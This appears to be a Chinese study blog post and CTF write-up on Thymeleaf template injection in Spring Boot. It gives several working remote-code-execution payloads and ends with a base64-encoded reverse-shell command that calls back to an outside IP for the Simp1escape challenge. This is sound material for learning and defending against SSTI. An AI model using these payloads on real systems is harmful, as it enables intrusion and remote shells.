被红明谷打爆了,所以来学习thymeleaf ssti
Thymeleaf是什么
Thymeleaf
是springboot
的一个引擎
要类比的话可以拿python中的jinja2
来类比
jinja2
是flask
的一个引擎,它们都用于渲染前端页面
在写javaweb和ssm的时候前端可能会用jsp来写,springboot内是jar包内嵌tomcat,所以它不支持解析jsp文件。又由于单纯的静态html很不方便,所以就产生了thymeleaf这样的一个模板引擎
这样就只需要一个template就可以动态渲染前端了
基础知识
表达式
Thymeleaf中有很多种表达式:
- 变量表达式:
${...}
- 选择变量表达式:
*{...}
- 消息表达式:
#{...}
- 链接url表达式:
@{...}
- 片段表达式:
~{...}
- 内联表达式:
[[]]
或者[()]
通过这些表达式可以进行变量的引用、替换等
例如${name}
可以取到name的值
*{...}
选定对象而不是整个上下文表达式,也就是说只要没有选定对象,${}
等效于*{}
片段表达式~{}
可以用于引用公共的目标片段,比如在footer.html
中定义了下面的一个copy
片段:<div th:fragment="copy">
1 |
|
那么就可以通过~{}
在另一模板中引用:
1 | <body> |
简单介绍一下片段表达式的语法:
~{templatename::selector}
,会在/WEB-INF/templates/
目录下寻找名为templatename
的模板中定义的fragment
~{templatename}
,这样会将整个templatename
模板当作fragment
~{::selector}
或者~{this.selector}
,引用来自同一模板名为selector
的fragment
selector可以是通过th:fragment
定义的片段,也可以是类选择器等
标签
thymeleaf还提供了一些内置的标签:
标签 | 作用 | 示例 |
---|---|---|
th:id | 替换id | <input th:id="${user.id}"/> |
th:text | 文本替换 | <p text:="${user.name}">bigsai</p> |
th:utext | 支持html的文本替换 | <p utext:="${htmlcontent}">content</p> |
th:object | 替换对象 | <div th:object="${user}"></div> |
th:value | 替换值 | <input th:value="${user.name}" > |
th:each | 迭代 | <tr th:each="student:${user}" > |
th:href | 替换超链接 | <a th:href="@{index.html}">超链接</a> |
th:src | 替换资源 | <script type="text/javascript" th:src="@{index.js}"></script> |
预处理语句
通过下面的语法可以对语句进行预处理:
__${experssion}__
官方文档:
除了所有这些用于表达式处理的功能外,
Thymeleaf
还具有预处理表达式的功能。预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如
__${expression}__
)包围。
预处理可以解析执行表达式,这就是ssti出现的最关键的一个的地方
通过可控的预处理输入的位置传入我们的恶意payload解析便可以达到任意代码执行
而我们要利用的就是这个表达式~{...}
(虽然和它无关)
其中的templatename
和selector
都可以进行thymeleaf ssti
调试
调试我就不调了,可以看一下这位师傅写的
Java安全之Thymeleaf SSTI分析 - Zh1z3ven - 博客园 (cnblogs.com)
主要是调不动(
漏洞复现
在thymeleaf中,回显的本质其实是通过抛出某个异常来实现的,在低版本的springboot(<=2.2)中,server.error.include-message
的默认值为always
因此这使得500页面会回显异常信息
但是在高版本下,上面的选项默认值改为了never
,这使得500页面不会回显任何异常信息
所以回显的payload还是有点局限性
常规payload(无回显):
1 | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__:: |
常规payload(有回显):
1 | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::xx |
显而易见,只需要在::
后加上任意内容即可回显
templatename
源码类似于:
1 |
|
它根据用户传入的lang参数,然后返回对应的user/lang/welcome
模板(也有可能前面指定了一个固定路径)
在lang处打payload即可:
1 | /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x |
上面这个payload是有回显的
不过对于这个源码:
1 |
|
由于后面拼接上了/welcome
所以实际上return的值是这样的:
1 | user/$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x/welcome |
上面说过只要::
后任意内容都可回显,所以此处加不加.x
都会有回显
selector
源码如下:
1 |
|
可以看见它的可控点是一个selector
的位置
同样的payload
,但是它是无回显的,不管加不加.x
1 | /fragment?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x |
为什么呢?
我们是通过抛出异常来回显的,但是实际上抛出的异常叫TemplateInputException
,它是因为找不到templatename
导致的异常抛出
所以templatename
可控的地方是可以回显的
而selector
可控的地方是无回显的:
URI Path
看源码:
1 |
|
同样的payload,打到document的位置:
1 | /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x |
原理是mav的返回值为空,所以viewTemplateName
会直接从uri中获取
特殊的trick
::
::
的位置是可以挪到最前面的:
1 | ::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__ |
post
post方法也是可以的:
1 | POST /path HTTP/1.1 |
省略双下划线
如果单独引用template时,可以不使用双下划线包裹:
1 |
|
像上面这样就可以省略双下划线:
1 | /path2?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d |
或者像这样的payload也是可以的:
1 | *%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d |
(再加多一对大括号也可以,具体可以看到这里:https://xz.aliyun.com/t/9826#toc-4)
改造成利用反射获取
1 | __${new java.util.Scanner(T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x |
或者:
1 | __${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x |
内联表达式
在boogipop师傅的博客里:
[RealWorld CTF 6th 正赛/体验赛 部分 Web Writeup - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2024/01/29/RealWorld CTF 6th 正赛_体验赛 部分 Web Writeup/)
源码简化后如下:
1 |
|
这种源码会根据使用的模板引擎进行渲染,这里当然时利用thymeleaf
进行渲染
利用内联表达式进行rce:
1 | [[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]] |
记得url编码
1 | %5B%5B%24%7BT(java.lang.Boolean).forName(%22com.fasterxml.jackson.databind.ObjectMapper%22).newInstance().readValue(%22%7B%7D%22%2CT(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression(%22T(Runtime).getRuntime().exec('calc')%22).getValue()%7D%5D%5D |
例题
红明谷2024 Simp1escape
差点做出来了,就是不知道有thymeleafssti
审controller
:
1 | package com.example.controller; |
其实这里应该要看得出来它返回的是一个模板的。。。
唉
index其实就是一个hello world
,返回了一个模板渲染的hello world
Curl Controller:
1 | package com.example.controller; |
简单的看看,其实就是根据用户传入的url
参数来进行ssrf(curl),然后将结果写到指定的地方:savePath + File.separator + hostname + ThymeleafProperties.DEFAULT_SUFFIX
并返回
这里有点waf,首先是url要以http:或者https:
开头,然后进行了一个isPrivateIp
的判断:
1 | public class Utils { |
他会进行一个本地ip的判断
所以我们不能够直接通过本地ip打ssrf
admincontroller
1 | package com.example.controller; |
可以看到熟悉的返回模板渲染:
return new SpringTemplateEngine().process(hostname, new Context());
而且hostname参数可控
唯一需求就是需要通过本地ip访问,刚好curl可以打本地请求
这里可以利用xctf x tpctf
的short_url
的思路,利用302跳转
我们的payload是利用内联表达式来执行:
1 | [[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]] |
稍加改进一下反弹shell:
1 | [[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('bash -c {echo, YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}')").getValue()}]] |
这样就能把shell弹回来了